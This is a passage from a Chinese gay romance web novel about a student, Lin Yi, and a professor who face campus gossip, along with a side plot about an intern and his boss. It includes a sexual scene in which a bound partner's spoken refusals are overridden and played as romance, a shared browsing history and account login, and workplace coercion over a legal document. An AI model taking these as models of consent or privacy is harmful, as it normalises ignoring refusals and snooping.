张泽轩【还有件事关于我逸哥的,我可以告诉你,但是一物换一物,你也得帮我个忙?】 沈北岛皱了皱眉,直觉不是什么好事,但现在任何关于林逸的信息他都不想错过。 沈北岛【嗯,可以】 张泽轩【刚才他跟我要了几个学习资料的国外网站和v-p-n,因为我是会员制,有浏览记录】 张泽轩【这几条是他今晚看过的,其中这个链接,他反复点开了三遍】 后面跟着一个加密链接和账号密码。 张泽轩【你帮我问问,如果他爸给他找了个差二十二岁的后爸,他能接受吗】 张泽轩【如果不接受,这位后爸做什么他可以接受?】 沈北岛看着张泽轩那句话,额头的青筋动了动,其实这件事他并不想让林逸知道,这只会让他罪加一等。 不过眼下不是操心这个的时候,或许等张泽轩自己腻了,或是他父亲那边有了新情况,自然就解决了。 沈北岛点开那个链接,输入了张泽轩给他发的账号和密码。 页面跳转,加载…… 沈北岛先是愕然,随即,他的唇角缓缓勾起一个意味深长的弧度,“原来他喜欢这样的。” 这时候,林逸突然从卧室走出来。 他清了清嗓子,声音不大,却带着一种恩赐般的语调,对着沙发方向说:“喂,那个坐在沙发上姓沈的。” 沈北岛立刻按灭手机屏幕,抬眼望去。 “现在一点十一分了。” 沈北岛听话地看了一眼手表,“还真是。” “111。”林逸语速加快,“代表情侣的一心一意,一生一世,这个时间点吉利。” 他顿了一下,飞快地瞥了沈北岛一眼,又移开视线:“所以,滚进来,睡觉!” 几乎在他话音落下的瞬间,沈北岛已经从沙发上站起,长腿几步就跨过了客厅与卧室之间的距离。 在林逸即将把门关上的前一秒,温热有力的手稳稳抵住了门板。 林逸回头,还没看清,就被一股不容抗拒的力道从后面整个拥住。 沈北岛的手臂结实而滚烫,穿过毛毯的缝隙,牢牢环住他的腰身,胸膛紧密地贴着他的后背:“林大师,敲完木鱼了?” 温热的唇几乎贴着林逸通红的耳廓,气息灼热。 林逸浑身一颤,那股好不容易压下去的燥热又有复燃的趋势,“你……别贴这么近。” 他试图扭动,声音却泄出一丝不稳,“痒。” 沈北岛忙到现在,应酬的西装还没有来得及脱下,他松了松领带,一把扯下,快速将林逸的双手从后面绑住。 林逸愣了一下,脑海中快速闪现那些朦胧马赛克的画面,刚才憋下去的火气,瞬间蹭蹭往上冒。 “我刚敲完木鱼,功德还没攒够……现在做别的,有损公德!”林逸拒绝道。 他的唇移至林逸另一侧耳畔,声音带着令人心悸的磁性,“那我们就一边做,一边敲。”—— 作者有话说:其实到现在他俩都没睡成,上次货不对号,进不去~不知道这次能不能成? 第40章 “……要是这么做,我就白敲了,真的不行!” 他含糊地抗议,双手抵在沈北岛坚实的胸膛上,试图推开这堵温热的“墙”。 力道是有的,却显得有些虚软,像是欲拒还迎的推搡。 沈北岛低笑一声,那笑声震动着胸腔,直接传递到林逸掌心。 他稍稍退开一点,给彼此一丝呼吸的空隙,但身体依旧紧密相贴。 他含着纵容的笑意,哄着:“逸逸上次那么厉害,这次怎么……怕了?” “谁怕了?”林逸梗着脖子,试图用凶巴巴的语气掩盖加速的心跳,“家里没有润。滑,我是怕弄疼你!” 混乱的脑海里飞快闪过一些上次模糊的片段,还有某些偷偷看过的不成体系的“知识”。 腰……发力?还是大腿……发力来着? 该死的!关键细节怎么像蒙了层雾?! 沈北岛沉默不语,只是深深看了他一眼,那目光仿佛能穿透他所有的虚张声势。 他撑起一点身体,伸长手臂,拉开了床头柜的抽屉。 林逸的视线不由自主地追过去。 只见,沈北岛从抽屉深处摸出一个小小的瓶子。 瓶身是某种柔和的粉色,在昏暗光线下看不太真切,但里面盛装的透明膏体,却泛着一点微光。 他甚至没有仔细去看瓶身上的字,某种预感已经让他头皮微微发麻。 沈北岛将那瓶子拿在手里,指尖摩挲着瓶身,又凑近他,声音都变得恶劣起来:“宝贝,需要我涂好,提前准备吗?” 他说着,拇指已经抵在了瓶盖上,微微用力。 “咔嗒”一声轻响,在过分安静的空间里,如同某种动物的求。偶的信号。 林逸下意识想去夺,却忽然意识到自己的手腕还被绑着,他想要挣脱,却被沈北岛伸手一压,挣脱着举在头顶。 这个动作让他瞬间更加狼。狈,仿佛失去了最后一点主动权。 “……你先放开我!”他挣扎了一下,反驳,“我可以自己涂!” “你涂?”沈北岛的笑声从喉间逸出,目光扫过他因挣扎微微泛红的手腕,又落回他强作镇定的脸上,“你会吗?” 林逸莫名听出了嘲笑的意味,“那有什么不会的!有手不就会吗?!” 沈北岛的笑意更深了:“你不知道吧?” 他慢条斯理地说,指尖蘸取了一点瓶中的膏体,“要涂得均匀,不然……不好用的。” 最后几个字,他说得极慢,像是故意在逗他。 “……你胡说八道!!”林逸的声音小了下去,眼神不由自主地跟着沈北岛蘸着膏体的指尖移动。 “不信?”沈北岛挑眉,动作却未停。 沈北岛不再看他,而是从容地褪下了身上最后的束缚。 月光与灯光交织的朦胧光线,勾勒出流畅而充满力量的线条。 “我来先示范给你看看。” 然后,在林逸尚未完全反应过来那膏体究竟要用于何处时,沈北岛已经垂下手,将那冰凉的透明物质,缓缓倾注而下。 顺着纹理蜿蜒而下,逐渐被体温融化,折射出漂亮的水光。 “沈北岛……!” 他几乎是惊叫出声,挣扎的幅度加大,被缚的手腕不停地磨蹭着床单,“你要做什么?我是一啊!” “嗯。”沈北岛极其认真地点头,俯身,用还沾着些许膏体的指尖轻轻碰了碰他的唇,堵住了他未说完的话语。 他的样子像是在哄孩子,对林逸全是肯定,发自内心地赞扬:“嗯,我知道,你是一,大猛\一。” “所以,我来帮你。”沈北岛含着笑。 “不用……” 下一秒,天旋地转。 林逸甚至没看清沈北岛是如何动作的,只觉得腰身被一股强大的力道揽住,整个人被轻而易举地翻转过来,像一只被突然翻了面的,不知所措的螃蟹。 小山丘上布满了云雾,覆盖在山丘上透明的植被开始发热。 林逸被这陌生而强烈的感觉冲击得思绪涣散时,视野里却突然被塞入一个熟悉的,深色的圆形物体。 是那个巨大的木鱼。 沈北岛将它摆在了他触手可及,抬眼就能看见的床头位置,然后,带着笑意在他耳边低语: “不是要攒功德么?爽。一次,敲一次。” “我来数,你一共能敲多少下。” “沈北岛,你还是人吗你特么的,你这是在亵渎神灵。” “你就当我今天是畜生吧” “咚!” 第一声闷响,他失控地屈起手指,手肘撞到了木鱼边缘。 “咚、咚、咚、咚” * 翌日,早上八点整。 沈北岛衣冠楚楚,与昨夜那个被骂的“禽兽”判若两人。 他俯身在林逸额头上印下一吻,声音轻柔:“我上班了,用你的手机帮你请好假了,好好休息。” 床上的人没有任何回应,整个人陷在凌乱的被褥里,只是轻微地动了一下。 沈北岛直起身,目光扫过床头那个静静立着的木鱼,嘴角勾起满意的弧度,转身离开了房间。 门被轻轻带上。 床上,林逸终于勉强掀开一道眼缝,看向那个木鱼。 那个深色的木鱼,依旧稳稳地立在那里,像一尊沉默的,见证了全过程的淫\秽物件! 又将头垂进枕头里:“啊——” 这声音一出来,他自己都愣住了。 沙哑,干涩,带着明显的疲惫和过度使用的痕迹。 此时,小兔子秒变“唐老鸭”。 狠狠捶打枕头:“我真没用!真是没用!!怎么嗓子都喊哑了” 他思考了一会儿,给张泽轩打了个电话:“喂?轩子,有空吗?我需要你帮助——” 然而,电话那头接电话的却是他的亲爹的声音:“小逸?你嗓子怎么回事?生病了?” 他猛地从床上弹坐起来,牵扯到酸软的腰腹,他也顾不上了,慌忙把手机拿到眼前仔细看。 没错啊,屏幕上显示的联系人就是张泽轩。 他赶紧挂断,猜测张泽轩可能又因为工作的事在被谢醇骂呢! 电话那头,张泽轩刚从洗手间出来,紧急把手机从谢醇手里抢过去,质问道:“谁让你乱碰我手机的!” “哼!”谢醇没好气,“外面不是有公用卫生间吗?你总来我的私人卫生间做什么?” 自从上次被谢醇毫不留情地拒绝后,他也懒得装什么乖巧懂事,崇拜上司的实习生了。 不开心就表现出来,开心也偏要装作不开心! 只要谢醇一天不接受他,他就当定这撕不掉的狗皮膏药了,没皮没脸,死缠烂打! 在张泽轩的逻辑里,他们之间发生过一次超越普通上下级界限的亲密接触,那他就要对谢醇负责一辈子! “我们两个睡都睡过了!”张泽轩往前逼近一步,几乎快要贴上谢醇的办公桌,眼神执拗,语气浮现混不吝的挑衅,“还分什么你的,我的卫生间?谢总,你身上哪里我没看过?” 谢醇将手里的文件摔在桌面上,施加警告,“滚出去。” 张泽轩被吓了一跳,态度依旧不服不忿:“——滚就滚!” 出门后,他又倒回来,语速飞快地提醒:“谢总,别忘了,距离杜小满开庭可就差三天了,你要是不跟我回家见我爸妈,那谅解书……我可就真没办法帮您拿到了。” 他看着谢醇瞬间更加难看的脸色,心里有点痛快:“你就去见见他们怎么了?又不是让你立刻嫁到我们家,你怕什么啊?我爸妈又不会吃了你!” “啪!” 一个沉重的黄铜烟灰缸,擦着他的耳边飞过,狠狠砸在了他刚刚拉开的门板上,发出巨大的声响。 又弹落在地毯上,滚了几圈。 张泽轩脸色一白:家暴啊!这妥妥的家暴老公! 他不敢真把谢醇惹急了,拉开门闪了出去,还差点撞到门外正要抬手敲门的人。 虞枫正好有工作汇报,在门口听清了他最后这两句话,他唇角抽了抽,心想:谢总真是魅力不浅,总是招一些小男孩喜欢。 “呦!虞总监!”张泽轩嬉皮笑脸的,立马侧身让开,还真有点自称老板娘的做派。 “您请您请,谢总他……刚跟我讨论点事情,情绪有点激动。”他指了指地上的烟灰缸,示意刚才的动静来源。 虞枫面色如常地点点头:“哦,对了,林逸一周没来了,你联系联系他,最好干满三个月,我给他开实习证明。” “行,我马上联系他。” 张泽轩正打算给林逸打电话,突然想起昨天晚上,托沈北岛问的事。 他立马给沈北岛拨去电话:“沈教授?昨天怎么说啊?” 沈北岛昨天确实问了,只不过是在事后。 林逸含含糊糊地回:“我爸?他找谁谈恋爱找多大的跟我有什么关系?” 林逸还没说完,嗓子已经发不出声音了。 最后一句,林逸还没来得及说:如果真的跟我一样大,我会把我所有哥们叫上,把他揍得跪地叫爸爸! 张泽轩挂断电话,仔细思考:“没关系就是不在意,不在意就是能接受,能接受就是完全赞同啊!” “嘿嘿!我要有媳妇了?”—— 作者有话说:最近公司忙年会啊,年底汇总啊,好疲惫,留言我都有看没回复是怕自己太飘了,你们夸我,我在被窝能嘿嘿嘿一晚上。 谢谢大家支持,成年人的疲惫真的无法用言语形容,小可爱们要好好上学知道吗?将来会有更多选择权!《 》 40-45 第41章 江州大学,行政楼三层的会议厅。 会议本该讨论下学期的教学改革方案,此刻却微妙地偏离了轨道。 “院长,除了教学工作,我们个别老师是不是也该注意一下私人问题对学校的影响?” 王教授推了推眼镜,语气像是随口一提,目光却有意无意地扫过某个方向: “有些取向,毕竟不那么主流,传出去对学校声誉、对学生都可能造成不必要的讨论。” “是啊,我这几天邮箱里,连续收到好几封匿名邮件,说是老师和学生谈恋爱……” “咳!有些老师的行为确实不太符合大学老师的形象,在公众场合,与同性举止过于亲密,为人师表,总要多一份谨慎。” “两位老师,这话是不是有点过了?” 坐在对面的一位副教授皱了皱眉,反驳道,“教师的专业能力与职业操守是根本,至于私人感情生活,只要不违法,与工作有什么关系?” “工作生活分开,不是院里一直强调的原则吗?” “周老师,你这……我不过是提醒注意影响,你怎么就上纲上线了?再说了,当事人坐在这儿不也一直没吭声嘛。” “是不是您先提起这个话题的?我们这是教学改革会议……” “好了,都少说两句。”坐在主位的院长开口制止。 他的余光掠过坐在靠窗位置的沈北岛,他表情平淡,看上去并不想参与此话题的讨论。 院长清了清嗓子:“几张来历不明,模糊不清的照片能说明什么?” “现在技术多发达,p图,各种AI合成,什么做不出来?我看多半是子虚乌有!” 他顿了顿,目光转向沈北岛,语气刻意放得和缓了些:“北岛啊,你是年轻人,难免有些风言风语。 我记得你跟方渝老师不是正处着朋友吗?年轻人谈对象是好事,就是要注意场合。” 这话看似解围,实则也划定了一条安全的边界。 沈北岛抬起眼,目光平静地迎向院长,也掠过在座神色各异的同僚。 他没有立刻反驳关于照片的指控,也没有去纠缠那莫须有的“亲密举止”。 片刻后,他站起身:“抱歉,院长,各位老师。” 他的声音不高,但吐字清晰:“我身体有些不适,申请提前离会,感谢各位的关心。” “不过,关于我和方渝老师,我们只是普通的同事关系,并非传闻中的男女朋友。” 他顿了顿,语气之中多了一份不容置疑的认真:“至于我个人的感情状况,与谁交往,是男性还是女性,我认为这属于我的私事。” “如果在座任何一位老师,或者其他人,对我的个人行为有异议,认为其有违师德或触犯学校规定,我建议可以直接向校长信箱实名反映,或者向更上级的教育主管部门投诉。” “感谢大家对我个人情况的关注,也请将更多精力放在我们今天的正题——教学改革上。” 说完,他再次向院长示意先行离开,无视了会议室里瞬间变得微妙的氛围。 沈北岛没有停留,径直走向教学楼。 下午他还有一节德语课。 教室里坐得比平时更满一些,窃窃私语的声音在他走进来时骤然低了下去,又在他转身板书时再次响起。 那些目光,好奇的,探究的,带着某种隐秘兴奋的,时不时落在他背上。 沈北岛全然不在意,照常打开课件,用一贯清晰冷静的语调开始讲解德语中的知识点…… 下课铃响,他收拾东西离开了教室。 晚上回到家里,预想中的“迎面抱抱”没有出现。 房间被仔细打扫过,空气里飘着淡淡的柠檬清洁剂味道,取代了平时林逸留下的那点慵懒的生活气息。 沙发上随意搭着的薄毯不见了,门口那双林逸最爱穿的耐克鞋子也不在。 餐桌上,一张便签纸被一个简单的玻璃杯压着。 沈北岛走过去拿起来,上面是林逸潦草的字迹: 【学校最近事多,我先回家住几天,走之前叫了保洁~】 沈北岛盯着那行字看了几秒,放下便签,拿出手机拨通林逸的号码。 听筒里传来重复的提示:“您拨打的用户正在通话中,请稍后再拨”。 沈北岛放下手机,屏幕暗下去,映出他没什么表情的脸。 下一刻,他拿起刚脱下的外套,重新穿上,直接去了林逸的家。 他知道林逸住处的门锁密码,输入那串熟悉的数字,“嘀”的一声,门锁打开。 沈北岛没有开灯,看着窗外城市零星透进来的微弱光线,走到客厅沙发边坐下。 他一路上都在思考,高中时候的林逸是不是遭受了很多白眼,很多议论,或者很多的看不起? 那时候的他,是怎么过来的? 按照小兔子看似倔强,实际胆小又心软的性格,一定偷偷哭过鼻子吧? 想到这里,他就忍不住的心疼。 如果早一点认识他就好了…… 晚上七点,门外终于传来密码锁按键音。 门被推开,走廊的光线涌进来,勾勒出林逸有些疲惫的身影。 他低头换鞋,然后才抬眼。 “靠!”林逸显然吓了一跳,他瞪大了眼睛,看着从沙发上站起身,走向自己的沈北岛,“你……你怎么在我家?” 沈北岛没说话,几步上前,抓住林逸的手腕,将他整个人拉进了屋内。 门在身后“砰”地关上。 “你干什么……”林逸踉跄了一下,试图抽回手,但沈北岛已经松开了他。 沈北岛转身从背包里拿出一张叠得整整齐齐的A4纸,放在了桌子上。 纸张展开,上面是清晰打印的表格。 标题《月度伴侣考核评分表(试用期)》 下面列着「情绪价值提供」、「共同事务参与」、「亲密互动质量」、「误会应对态度」等,后面甚至还留着「评分栏」和「考核人意见」的空位。 林逸嘴角抽动了一下,有点想笑:“沈北岛,你……你还真把这玩意儿打印出来了?” 沈北岛看着他,语气却一本正经,甚至带着点公事公办的意味:“林总,本月考核期到了,请及时评分,我这边着急转正。” “你还好意思提考核?我这几天……走路都觉得不对劲,快快要拄上拐杖了,就这「亲密互动质量」这一栏,你觉得你能达标吗?” 林逸撇撇嘴:“我看,不达标。” 他试图用这种半真半假的抱怨,把话题带向一个轻松的方向。 或者说,一个可以让他暂时躲藏的方向。 沈北岛压根不上当,他往前逼近半步,声音低了些:“所以呢?不达标……然后呢?” “不达标……”林逸喉咙发紧,眼神飘向别处,就是不看沈北岛,“不达标……就下个月继续努力呗。” “试用期,不就是用来考察的?” “林逸。”沈北岛叫了他的全名,态度变得更加严肃,像是在训他的学生,“你是不是知道什么了?” 他步步逼近:“李锐告诉你的?所以你在……躲我?” “……我没有。”林逸下意识反驳,声音却不自觉地磕巴起来,“我……我今天确实满课,上了一天课,不信你看我课表。” “晚上下课,不能回家吗?”沈北岛反问道。 “你家……太远了。我明天一早还有课,来回不方便,住我家……省时间。” 沈北岛没再说话,只是侧身,指了指客厅沙发上那个鼓鼓囊囊的深色旅行包。 “理解。”沈北岛双臂抱胸,点头,语气恢复了以往的平静,“所以,我来你家住。” “你……”林逸一口气堵在胸口。 过了好一会儿,林逸像是终于攒足了勇气,说道:“你学校里都在传你谈了个小男朋友……说你是同性恋。” 沈北岛看着他,默默听着。 “这对你影响不好……沈北岛,不然……我们先分开一段时间?等风头……” “不行。”沈北岛打断他,斩钉截铁,没有任何回旋余地。 “为什么不行?” 林逸抬起头,对上沈北岛的目光,那里面是一种他很少见的,近乎固执的坚决,完全不容商量。 沈北岛的指尖点在那张荒唐《考核表》上,“你不是说我考核不合格吗?试用期员工有义务加倍努力,争取留下好印象。” “所以,我得日日夜夜‘加班’,直到林总满意为止。” 林逸:…… 他想起下午李锐发来的消息,附带的学校论坛链接。 链接里各种匿名的,充满恶意的帖子…… 李锐【现在学校论坛都在谈论沈老师,据说院长还在开会的时候,提出反对同性恋的言论】 李锐【我觉得沈老师应该很受影响,今天上课一直心不在焉的】 “可是……”林逸的声音更小了,“我不想你因为我,影响你的事业……其实……” 他咬了咬下唇,声音含含糊糊的:“我们可以不公开的……就像地下情人那样,只要不影响你,我没关系的。” 他说完,看向沈北岛,试图扯出一个笑,只是这笑容比哭还难看。 沈北岛看着他,看着他眼里那份自我牺牲式的爱意和小心翼翼,那股一直压着的火气,忽然间就消了。 “林逸,”他叫他的名字,声音柔和下来,“你以为,我们躲到地下,地上的人就不会对地下的影子评头论足了吗?” “偏见一旦产生,罪名就已经成立了。 我们是否公开,是否躲藏,改变不了他们看待我们的眼光。 那些眼光不会因为我们隐忍退缩,就变得宽容。” 他上前一步,蹲下身,让自己的视线与坐在椅子上的林逸平齐,握住他有些冰凉的手。 “是他们思想狭隘,那是他们自己的问题,他们放纵自己的狭隘就能玷污我们感情的纯粹吗? 他们又有什么资格来规定我们该如何相爱,甚至该不该相爱?” 林逸反问他:“可你爱我什么呢,沈北岛?我……我好像没什么特别的,还总是给你惹麻烦……” “林逸。”沈北岛打断他的自我贬低,“「爱你什么」在相爱的人眼里,本身就是伪命题。” “我说不清楚具体爱你哪里,是外貌、性格……还是某个瞬间; 我也说不清为什么非你不可,就像科学家无法解释空气为什么存在,水为什么流动,同样的道理。” “爱不是列清单,符合几条就能爱得死去活来了,它发生了,存在了,就是理由。 没有那么多「为什么」,也不需要那么多「为什么」” 林逸:……似乎听上去还挺感动的。 但是!好像跟没说……又没两样。 沈北岛这时伸出手,将林逸拥入怀中。 林逸迎上去,小脸深深埋进沈北岛的肩窝,手臂环住他的腰,收得很紧很紧。 还真是做老师久了,爱说教……却全都是避而不答,哼…… 沈北岛的声音带着温热的气息:“你是不是属乌龟的? 嗯?外面稍微有点风吹草动,就急着把脑袋和四肢都缩回壳里。” 林逸在他怀里闷闷地“哼”了一声,“乌龟……有什么不好?” “长寿!活得久!” 他说着,环在沈北岛腰后的手,忽然不安分地往下滑,准确地在某人紧实的臀部不轻不重地拍了一下:“看在你刚才那些话……勉强还算及格的份上!这个月考核算你合格了!” “所以,沈教授再接再厉,争取下个月提前转正。” 沈北岛闻言,随即眯起了眼睛,眼底深处那点阴霾彻底散去。 他捏住林逸的下巴,迫使他看着自己,慢条斯理地问: “所以,林总今天这一出不告而别、拒接电话、提议分居,是在……试探我?” “看我是不是会因为一点压力就退缩?是不是……值得你托付终身?” “林总,演技挺好啊。”他说着惩罚似的捏了捏林逸的脸蛋。 “客气,多亏沈老师,教导有方。”—— 作者有话说:初中生小朋友要好好读书嗷~看小说就当偶尔放松一下晓得嘛? 终于被小林忽悠一回~其实小林还真是小乌龟 照片是之前他们在食堂亲嘴被同学拍到的,早就发到了论坛上,之所以现在被扒出来还是因为有人…… 第42章 “咚咚咚。”门外传来敲门声。 林逸睁开眼,发现沈北岛不在身边。 厨房方向传来细微的响动,他的意识回笼的瞬间,嗅到了一股小笼包的香气。 “沈~老~师~”林逸朝门外含糊地喊,“有人敲门。” “来了。”客厅传来沈北岛的声音,紧接着是脚步声。 卧室门被推开一条缝,沈北岛探进半个身子,他穿着贴身的睡衣,袖子随意挽到手肘,露出结实的小臂,腰上系着一条印着卡通柴犬的围裙。 林逸揉揉眼睛,心跳加速:这算是人夫吗?如果脱了衣服只留下围裙…… “逸逸,你继续睡,我去开门。”沈北岛像怕把他吵醒似的,声音放得很轻,“饭好了,我再来叫你。” 林逸含糊地“嗯”了一声,重新把脸埋进枕头,想法太羞。耻,梦里什么都有。 门打开。 谢醇站在门口。 深灰色西装,外套黑色羊绒大衣,他看起来不像是来儿子家探望,像是来参加一场重要的商务会议。 此刻,他那双锐利的眼睛正上下打量着沈北岛,眉头微蹙,像是在评估一件不太符合预期的商品。 虽然,他们因为杜小满的案子在某种程度上形成了对立,但这却是谢醇第一次与沈北岛正式见面。 他上下打量了一圈沈北岛,“你是……” 沈北岛的唇角扬起微笑,主动伸出手:“您好,我是林逸男朋友。” 谢醇的目光落在沈北岛伸出的手上,那只手骨节分明,干净修长,此刻指腹微湿,似乎刚碰过水。 他视线顺着上移,掠过那身深色睡衣,挽起的袖口,最后定格在那条卡通围裙上。 谢醇的嘴角抽动了一下: 嗯?我儿子喜欢居家型的? 他没有理会沈北岛伸出的手,甚至没有回应那个微笑,从沈北岛身侧走进客厅,姿态是完全的漠视。 沈北岛的手在空中停留片刻,自然地收回。 他关上门,转身跟进去。 谢醇站在客厅中央,背着手,目光扫过这个充满生活痕迹的空间。 茶几上散落着一些国外书籍,沙发上搭着灰色毛衣,墙角立着个深色旅行包,这一切都无声地宣告着另一个人的“入侵”。 “林逸。”谢醇扬声喊他,捎带命令的口吻。 沈北岛快步走到沙发旁:“叔叔,林逸还在休息,您先坐,我这就去叫他。” 谢醇侧头瞥了他一眼,这才在沙发上坐下。 沈北岛转身去厨房,很快端出一套白瓷茶具和一壶刚烧开的水。 他动作流畅地烫杯、置茶、冲泡,将一壶茶轻轻放在谢醇面前。 “叔叔,请用茶。” 做完这些,他才转身走向卧室。 卧室内,林逸把自己缩成一团,被子隆起一座“小山丘”。 沈北岛走过去,轻轻拍了拍“山丘”中央,“逸逸,醒醒,外面有客人。” 被子里传来闷闷地抱怨:“谁啊……周六也不让人消停……不会又是张泽轩吧?” 沈北岛掀开一点被角,宠溺地说:“是你爸。” “谢醇!”林逸猛地从被子里弹出来,“他八百年不来一次,怎么突然过来了?” 这套公寓是林逸刚上大学时,谢醇给他买的。 前些年,谢醇生意重心一直在国外,近一两年才开始拓展国内市场,父子俩见面次数都屈指可数,主动上门更是罕见。 沈北岛看着他惊慌失措的样子,从衣柜里抽出一条黑色羊绒围巾递过去,看了看他的脖子,“遮一下。” 林逸赤脚跳下床扑到穿衣镜前,镜子里,他右边脖颈靠近耳根的地方,印着几处浅红色的痕迹,在白皙皮肤上相当醒目。 “哎呀!”林逸红着脸,转身控诉,“你昨天怎么这么野蛮,一点也不知道怜香惜玉!” 他一边埋怨一边从衣柜里翻找高领衣服,在家里围个围巾,别说谢醇看了怀疑,他自己都觉得傻不愣登的。 林逸套上了两件毛衣,烟灰色羊绒衫打底,外面套米白色粗线毛衣,领子堆叠起来,总算遮住了痕迹。 沈北岛憋着笑,从后面环住他的腰,下巴蹭了蹭他的耳尖:“我们这样……怎么很像刚刚在偷情?” “闭嘴!”林逸用手肘顶。他,“等会儿我爸问你什么,你看我眼色行事。” 深吸一口气,林逸调整表情,拉开卧室门。 走到客厅,谢醇还端坐在沙发上,手里那杯茶已经喝了大半。 “怎么现在才出来?”谢醇放下茶杯,“我这一壶茶都快喝完了。” 林逸在对面单人沙发坐下,是犟嘴的口吻:“怎么?早上吃东西吃咸了?这么渴?” 谢醇看着儿子这副“不待见”自己的样子,再对比刚才沈北岛在厨房忙碌,对他温和有礼的场景,心头莫名窜起一股火。 那感觉,就像自己栽种的小树苗被人连盆端走,还养得枝叶繁茂的,转头就对自己这个老父亲爱答不理,各种复杂的心情交缠,手里的茶都不香了。 谢醇带上审视腔调:“你们什么时候开始同居的?” “昨天。”林逸立刻回答。 “蒙谁呢?”谢醇显然不信,目光在两人之间扫视,“哪里找的男朋友?做过身体检查吗?背景干净吗?” 林逸愣神:我爸没有见过沈北岛吗?因为杜小满的事,他们也没有见过? 这么一想,谢醇对杜小满也没有那么上心嘛! 这时,沈北岛他上前半步,姿态恭敬:“叔叔您好,我目前在江州大学外国语学院任教,工作稳定,无不良嗜好。 每年定期体检,最近一次是三个月前,报告显示身体状况良好,无传染病或遗传病史。” “如果您不放心,我可以明天去做更详细的身体检查,一周内向您提供完整的身体报告。” 林逸听得眼皮直跳,悄悄扯他衣角:“不是让你看我眼色行事吗?别那么实诚……” “你是老师?”谢醇思索了片刻,又看向林逸,问道,“你们属于……师生恋?” “我们又不是一个学校的!”林逸立刻反驳,“我在美院,他在江大,隔着半个城区呢!” 谢醇没理会,继续问沈北岛:“你父母知道你和林逸的关系吗?他们是什么态度?” “爸!”林逸打断,“你大清早跑过来,到底有什么事?要是没事,你就先去公司吧,我等会儿还有安排。” 谢醇的视线在两人之间逡巡片刻,他不想跟这唯一的儿子关系闹僵,只好暂时压下盘问。 他又说:“你给张泽轩打电话,他这两天突然请假,电话不接,公司有急事找不到他。” 林逸愣了一下:“轩子请假了?他最近不是工作狂吗?” “……再说了,你除了他,不是还有其他助理吗?” 沈北岛轻轻扯了扯他毛衣下摆。 林逸立刻会意,不情不愿地拿出手机,“行,我替你联系。” 电话几乎立刻接通。 林逸说了两句,把手机递给谢醇:“他说让我把电话给你。” 谢醇接过手机,走向阳台,拉上玻璃门。 通话很短,一两分钟就结束了。 他走回来,将手机还给林逸,拿起大衣准备离开。 走到门口,他顿住脚步,说:“你妈妈明天坐飞机来江州,明晚一起吃饭,地点我晚点发你,别迟到。” “知道了。”林逸点了点头。 门关上。 公寓里安静下来,只有厨房蒸锅微微的嗡鸣声。 沈北岛走过来,轻轻揽了一下林逸的肩膀,感受到他身体的紧绷:“先吃饭吧。” 沈北岛端上早餐,一笼小笼包,两碗糯滑的白粥,一盘清炒土豆丝,还有两颗咸鸭蛋…… …… 明天上午杜小满的案子就要开庭了。 律师再三强调,今天务必拿到谅解书,这样才能在法庭上为杜小满争取减刑。 至于谢醇为什么没有认出沈北岛? 因为在这件事发生时,张泽轩在工作上表现得过于积极,从而获取了谢醇的信任。 他就把这件事交给了张泽轩,自己因为生意上的事情一直忙碌也无暇顾及。 他发动车子,驶向张泽轩发的老城区定位。 路越开越窄,终于在一个巷子口被挡住。 巷子太窄,里面还停着电动三轮和自行车。 谢醇皱眉,靠边停车。 大约过了十几分钟,一个身影才从巷子深处晃出来。 谢醇隔着车窗看去,额角跳了跳。 张泽轩好像是刚从被窝爬出来,身上套着极其宽大的黑色连体熊睡衣,帽子是夸张的熊头,两只圆耳朵耷拉着。 下面搭配破洞多得快要散架的牛仔裤,脚上踩着一双塑料凉拖鞋,露出冻得发红的脚趾头。 他就这样顶着鸡窝头,揉着眼睛,踩着拖鞋,走到布加迪跑车的旁边,敲了敲车窗。 谢醇按下车窗,面无表情。 “谢总,您怎么开这车出来?”张泽轩压低声音,“这多乍眼啊!走走走,我带你去隔壁小区停车场,这儿停不了。” 他说完,转身踩着凉拖晃晃悠悠往前走,熊睡衣的尾巴一摇一摆。 谢醇按了一下喇叭。 前面“熊影”吓得差点跳起来,回过头谴责:“谢总!市区禁止鸣笛!违者罚款两百!扣三分!” 张泽轩警告完了,转头继续走,就是不上车,固执地用凉拖摩擦土地。 路上遇见拎菜篮子的大妈:“哟!轩轩!在隔壁小区干上保安啦?指挥这么贵的车?” 张泽轩脚下一滑,脸上涨红:“张姨!这是我朋友!来我家找我有点事!” 谢醇沉默的脸上浮现一丝愉悦的神情。 “奥,是朋友啊……”热情的张大妈摆摆手,“你也别去了,前面停车场也满啦!早上来了一个自驾旅游团,停的都是外地车。” “行,谢谢张姨!”张泽轩赶紧道谢,小声嘀咕,“就是您这嘴……太碎了。” 谢醇的车还停在原地,再不上车,脸上真挂不住了,他小跑回去,拉开车门坐进副驾驶。 “走吧。”他系安全带,“往前开一公里,有个商场的地下停车场。” 等车停好,两人步行将近二十分钟才回到张泽轩家楼下。 上楼时,谢醇看腕表,都快十点了。 张泽轩开门,家里温暖香气扑面而来。 他一边换鞋一边朝屋里喊:“妈!我公司领导来看我了!路过咱家,还给您带了礼物!” 他脸不红心不跳地扯谎,把硬拉着谢醇去楼下买的一箱大橙子,两箱牛奶,放在了架子上。 “哎?我爸呢?” 围着碎花围裙的张母从卧室走出来:“你爸钓鱼去了,不到天黑回不来。” 她目光落在谢醇身上,脸上绽开笑容,“哟!这位是?长得真是仪表堂堂!” 张泽轩赶紧介绍:“妈,这是我公司老板,谢总。正好路过,找我拿点资料。” 谢醇对张母微微点头,努力牵动嘴角露出微笑。 他实在不知该如何称呼,按照年龄推算,张母最多比他大十来岁。 “哎呀,老板啊!快请进!轩轩你也真是的,老板来了也不提前说!” 张母连忙摘围裙,“你们坐,我这就出去买菜!中午一定留下吃饭!” “不用麻烦了,我拿了资料就走。”谢醇开口,声音尽量温和。 “那怎么行!来都来了,哪有不吃饭的道理!轩轩,好好招待谢总啊!妈很快回来!” 张母压根不给拒绝机会,风风火火出门了。 房门“砰”地关上。 张泽轩摸了摸鼻子,嘴角带着点小得意:“那什么……你看,这不怪我啊,是我妈硬要留你。” “要不……就给我妈。个面子?她做饭还挺好吃的。” 谢醇看着眼前这个穿着狗熊衣服的下属,又看看这间不大但充满生活气息的屋子,竟然莫名地感受到了属于“家”的温暖气息。 他沉默几秒,眉头舒展一点,轻轻“嗯”了一声。 张泽轩眨了眨眼:这就……答应了? “那你坐吧。”张泽轩态度突然变得特别温柔,指指布艺沙发,“我去给你泡壶茶。” 谢醇坐下,沙发比想象中柔软。 他环视四周,墙上挂着张泽轩从小到大的照片,电视柜上摆着绿萝,窗户玻璃上贴着褪色的窗花 